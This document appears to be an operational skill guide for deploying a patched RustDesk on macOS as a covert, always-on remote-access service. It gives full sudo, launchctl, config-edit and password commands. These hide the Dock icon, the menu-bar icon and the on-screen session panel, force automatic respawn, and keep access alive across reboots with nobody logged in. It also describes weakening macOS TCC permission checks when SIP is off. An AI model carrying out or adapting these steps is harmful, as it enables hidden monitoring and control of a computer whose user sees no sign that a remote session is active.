Deploy Stealth Rustdesk

Deploy stealth RustDesk as an unattended macOS service

Install a stealth-patched, signed RustDesk.app as an always-on service: unattended remote access with three stealth surfaces suppressed — the Dock icon, the menu-bar (tray) icon, and the CM panel (the connection-management window that floats top-right during a session) — while remote keyboard works, surviving reboot with nobody logged in.

Precondition — the app must come from build-stealth-rustdesk. This skill deploys a bundle that already has the tray.rs / window_manager / ipc.rs patches compiled in and is codesigned. A stock RustDesk will not work here: its CM panel can't be hidden (the Pro/custom-client gate is still compiled in), and an hide-tray=Y custom-client build springs the daemon trap (LaunchDaemon outside the GUI session → dead remote keyboard, rustdesk#10709). Two build-time facts this skill leans on:

• ipc.rs gate removal — makes Step 2's three hide-CM options actually take effect; on a stock build they are silently ignored.
• Signing identity — if the app was ad-hoc signed, the Step 3 TCC grants break on every rebuild (Connected, waiting for image); a stable self-signed identity makes them survive. See build-stealth-rustdesk → Codesign / "Stable signing identity".

A non-visual essential of its own: the agent's KeepAlive must be forced to always-restart (Step 1), or a clean exit (e.g. closing a GUI window) leaves it down and remote access silently dies.

From build-stealth-rustdesk's hand-off you staged three things on this Mac: the signed RustDesk.app and the two launchd plists (they are not inside the .app bundle). The defaults below match the ~/.stealth-rustdesk layout that skill stages — point them at wherever you copied the folder:

APP=~/.stealth-rustdesk/RustDesk.app                 # the signed artifact you copied over
PLISTS=~/.stealth-rustdesk/privileges_scripts        # holds daemon.plist + agent.plist

Step 1 — Install as LaunchAgent + daemon

Copy to /Applications, install both plists (root:wheel), load the root daemon, bootstrap the user agent into the GUI session:

sudo rm -rf /Applications/RustDesk.app && sudo cp -R "$APP" /Applications/RustDesk.app
sudo chown -R root:wheel /Applications/RustDesk.app
sudo cp "$PLISTS/daemon.plist" /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
sudo cp "$PLISTS/agent.plist"  /Library/LaunchAgents/com.carriez.RustDesk_server.plist
sudo chown root:wheel /Library/LaunchDaemons/com.carriez.RustDesk_service.plist /Library/LaunchAgents/com.carriez.RustDesk_server.plist
# Agent resilience: the stock agent KeepAlive restarts only on FAILURE (a dict with
# SuccessfulExit=false), so a *clean* exit (e.g. when a GUI window is closed) leaves the
# agent down and remote access silently dies. Force always-restart so it self-heals.
sudo /usr/libexec/PlistBuddy -c "Delete :KeepAlive" -c "Add :KeepAlive bool true" /Library/LaunchAgents/com.carriez.RustDesk_server.plist
sudo launchctl load -w /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
launchctl bootstrap gui/$(id -u) /Library/LaunchAgents/com.carriez.RustDesk_server.plist

The agent (RustDesk --server, runs in the Aqua/LoginWindow session) is what makes screen capture + keyboard injection work — the whole point of not being a daemon-only install. With stock KeepAlive it can exit cleanly and never restart, so remote access only works while some window is open; the KeepAlive=true edit above makes it always-on and window-independent.

Done when: both labels show state = running, and the agent stays up on its own — kill it (pkill -f 'MacOS/RustDesk --server'), wait 2s, and confirm launchd respawned it.

Step 2 — Password, identity sync, hide the CM panel

Order matters — the password IPC needs the service running; the config edits need it stopped.

# 1. permanent password (needs root + installed) — RETRY until "Done!": the service IPC
#    socket may not be ready right after start, and "Connection refused" means not-ready,
#    NOT failure. This must succeed here (see verification-method warning below).
until sudo /Applications/RustDesk.app/Contents/MacOS/RustDesk --password 'YOUR_STRONG_PASSWORD' 2>&1 | grep -q '^Done'; do sleep 1; done
# 2. stop both so edits are not overwritten:
launchctl bootout gui/$(id -u)/com.carriez.RustDesk_server; sudo launchctl bootout system/com.carriez.RustDesk_service
# 3. sync identity+password daemon(root) -> agent(user) so enc_id/key match:
sudo cp /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk.toml  ~/Library/Preferences/com.carriez.RustDesk/RustDesk.toml
sudo cp /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml ~/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml
sudo chown $(id -u):$(id -g) ~/Library/Preferences/com.carriez.RustDesk/RustDesk*.toml
# 4. hide the CM panel — all 3 required (and are the correct unattended posture) — in BOTH configs' [options] (last section, so append is safe):
for f in /var/root/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml ~/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml; do
  printf "approve-mode = 'password'\nverification-method = 'use-permanent-password'\nallow-hide-cm = 'Y'\n" | sudo tee -a "$f" >/dev/null
done
# 5. restart both:
sudo launchctl load -w /Library/LaunchDaemons/com.carriez.RustDesk_service.plist
launchctl bootstrap gui/$(id -u) /Library/LaunchAgents/com.carriez.RustDesk_server.plist

hide_cm() requires all three: approve-mode=password and verification-method=use-permanent-password and allow-hide-cm=Y — and they only take effect because build-stealth-rustdesk's ipc.rs hunk removed the Pro/custom-client gate; on a stock build these are silently ignored. The permanent password is stored (hashed) in the password field of RustDesk.toml, not RustDesk2.toml.

Critical ordering: a valid permanent password must exist (step 1 succeeded) before the service restarts with verification-method=use-permanent-password. If it starts "permanent-only but no password", RustDesk normalizes verification-method back to use-both-passwords, which makes hide_cm() false and the CM panel returns. If after restart verification-method reads use-both-passwords, the password wasn't set — set it, then sed -i '' "s/^verification-method = .*/verification-method = 'use-permanent-password'/" both RustDesk2.toml and restart.

Done when: root and user RustDesk.toml share the same enc_id; both RustDesk2.toml carry the three options; and verification-method still reads use-permanent-password ~5s after restart (did not revert).

Step 3 — Grant permissions (manual, unavoidable)

macOS forbids scripting TCC. Over a GUI session (VNC / Screen Sharing / console), grant RustDesk in System Settings ▸ Privacy & Security: Screen & System Audio Recording, Accessibility, Input Monitoring. Then restart both services so they pick up the grants: launchctl kickstart -k gui/$(id -u)/com.carriez.RustDesk_server && sudo launchctl kickstart -k system/com.carriez.RustDesk_service.

Done when:

sudo sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" \
  "select service,auth_value from access where client='com.carriez.rustdesk';"

lists kTCCServiceScreenCapture, kTCCServiceAccessibility, kTCCServiceListenEvent all = 2.

Rebuild redeploys (ad-hoc signing): the old grants are bound to the previous signature — they still read = 2 but silently fail (Connected, waiting for image). sudo tccutil reset ScreenCapture com.carriez.rustdesk (+ Accessibility, ListenEvent), restart both labels, re-grant. A stable signing identity at build time avoids this entirely — see build-stealth-rustdesk → "Stable signing identity". SIP-off shortcut: if SIP is disabled on the target, instead of re-granting you can rewrite the grant's stored csreq from the exact cdhash to identifier "com.carriez.rustdesk" once — it then matches any ad-hoc rebuild by bundle id, so grants survive without a re-grant (weaker check; commands in REFERENCE.md → "Make ad-hoc TCC grants survive rebuilds").

Step 4 — Verify the payoff (all must hold)

Test with no RustDesk window open — a correct deployment runs only service + --server.

• Stealth: menu bar has no RustDesk item; no Dock icon appears when a session connects (the window_manager fix — verify visually over the screen session; lsappinfo reports type="UIElement" even while a Dock icon is showing, so it is NOT a reliable check here); no floating CM panel during a session.
• Function (from a second machine, host has no window open): connect to the ID (.../RustDesk --get-id) with the password → screen appears, mouse works, and keyboard works. That it works with nothing open confirms the agent is self-standing.
• Persistence: reboot with nobody logged in → reconnect succeeds.

Keyboard working proves the approach — if it fails you are in the daemon trap (agent not in the user session), or the app wasn't built by build-stealth-rustdesk. If it works only while a window is open, the agent's KeepAlive isn't true (Step 1). See REFERENCE.md.

Maintenance & rollback

Uninstall, redeploying a rebuilt app, and connection/stealth troubleshooting are in REFERENCE.md. Building or version-bumping the app itself is the build-stealth-rustdesk skill.